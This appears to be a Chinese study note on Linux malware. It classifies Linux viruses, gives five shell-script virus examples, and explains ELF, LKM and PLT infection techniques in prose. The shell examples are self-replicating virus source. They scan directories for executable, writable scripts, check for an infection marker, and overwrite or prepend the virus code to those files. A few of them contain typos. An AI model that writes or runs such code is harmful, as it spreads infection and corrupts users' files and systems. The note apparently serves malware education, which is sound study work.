- Linux恶意代码分类:
1. Shell病毒
2. 可执行文件病毒
- Linux病毒列表分类:
1. Bliss病毒
2. Typot木马
- Linux病毒分类:
1. Shell脚本病毒
2. 蠕虫病毒
3. 欺骗库函数
4. 内核级的传播
5. 与平台兼容的病毒
# Shell简单恶意代码实例
Shell在不同的Linux系统上差别不大
```
# 原始shell病毒
#shellvirus I#
for file in ./infect/*
do
cp $0 $file
done
```
```
# 简单的shell病毒
#shellvirus II#
for file in ./infect/*
do
if test -f $file #判断是否为文件
then
if test -x $file #判断是否可执行
then
if test -w $file #判断是否有写权限
then
if grep -s sh $file >.mmm #判断是否为脚本文件
then
cp $0 $file #覆盖当前文件
```
```
# 原始shell病毒
#shellvirus III#
#infection
head -n 35 $0 >.test1 #取病毒自身代码并保存到.test
for file in ./* #遍历当前目录中的文件
do
echo $file
head -n 2 $file >.mm #提取感染脚本文件第一行
if grep infection .mm > .mmm #判断是否有感染标记
then #已经被感染标记
echo "infected file and rm .mm"
rm -f .mm
else #尚未感染,继续执行
if test -f $file
then
echo "test -f"
if test -x $file
then
echo "test -x"
if test -w $file
then
echo "test -w"
if grep -s sh $file >.mmm
then
echo "test -s and cat..."
cat $file >.SAVEE #把病毒代码放在脚本文件的开始部分
cat .test1 >$file #原有的代码追加在末尾
cat .SAVEE >>$file #形成含有病毒代码的脚本工作
fi
fi
fi
fi
fi
done
rom .test1 .SAVEE .mmm .mm -f #清理工作
```
```
# 复杂代码病毒
#shellvirus IV#
#infection
for file in ./* ;do
if test -f $file && test -x $file && test -w $file;
then
if grep -s sh $file > /dev/nul ;then
head -n 2 $file > .mm
if grep -s infection .mm > /dev/nul ;then
rm -f .mm ;else
head -n 14 $0 >.SAVEE
cat $file >> .SAVEE
cat .SAVEE >$file
fi fi fi
done
rm -f .SAVEE .mm
```
```
# 感染特定目录的shell病毒
#ShellVirus V#
#infection
xtemp =$pwd #保存当前路径
head -n 22 $0 > /.test1
for dir in ./* ; do #遍历当前目录
if test -d $dir ; then #如果有子目录则进入
cd $dir
for file in ./* ; do #遍历该目录文件
if test -f $file && test -x $file && test -w $file;
then
if grep -s sh $file > /dev/nul ; then
head -n 2 $file >.mm
if grep -s infection .mm > /devnul ;then
rm -f .mm > /.SAVEE #完成感染
cat /.test1 > $file
cat /.SAVEE >> $file
fi fi fi
done
cd ..
fi
done
cd $xtemp
rm -f /.test1 /.SAVEE .mm #清理工作
```
# ELF技术
即Executable and Linking Format,如同Windows下PE文件,ELF和PE起源于Linux
- 无关ELF格式的感染方法:
1. 覆盖式感染
2. 追加式感染
- 利用ELF格式的感染方法:
把病毒本身作为一部分插入到ELF格式里边。然后与原来的ELF文件进行有机的融合。
1. 文本段数据段之间填充区植入病毒
执行过程:
在文本段末尾插入代码。了解ELF header中的p_shoff以包含新代码,通过他们来定位文本段的位置。增加文件的大小,调整p_offset大小。再文本段末尾写入代码,调整各个偏移量。
2. 在文本段之前插入感染代码
3. 利用函数对齐填充区感染
从当前进程中取出病毒代码,查找合适的未被感染的ELF可执行文件作为宿主文件,并修改病毒体,使其执行完后能够跳转至宿主文件代码入口点。查找宿主文件函数填充区,找到足够大的函数填充区并记录。
将病毒体分割:
将分割后的病毒放入宿主文件多个函数填充区内,并在每一块后设置跳转指令,使其各部分相连接。修订入口点,使其指向病毒体入口点。
4. 利用NOTE段/扩展.note节
查找文件中的PT_NOTE类型的段,然后修改里面相应的字段,同时还要修改他们可执行的属性,把恶意代码插入进去。
5. 高级感染技术
上升到内核层次的病毒感染就是高级感染,这就需要感染内核的模块。对Linux最致命的病毒攻击方式就是感染Linux内核,也就是使用Linux的LKM。
动态加载,无须重新实现整个内核。基于此特性,LKM常被用作特殊设备的驱动程序(或文件系统),如声卡的驱动程序等等。
6. LKM感染技术
LKM在Linux操作系统中被广泛使用,主要的原因就是LKM具有相对灵活的使用方式和强大的功能,可以被动态地加载,而不需要重新编译内核。
对于病毒而言,也有很多好处,比如隐藏文件和进程等,但是使用LKM是比较麻烦的,需要较高的技术要求。
7. PLT实现重定向的算法
1将文本段修改为可执行权限。2保存PLT入口点。3使用新的库调用地址替代原入口。4对新库调用中代码的修改。实现新的库调用的功能,保存原来的PLT入口,调用原来库调用。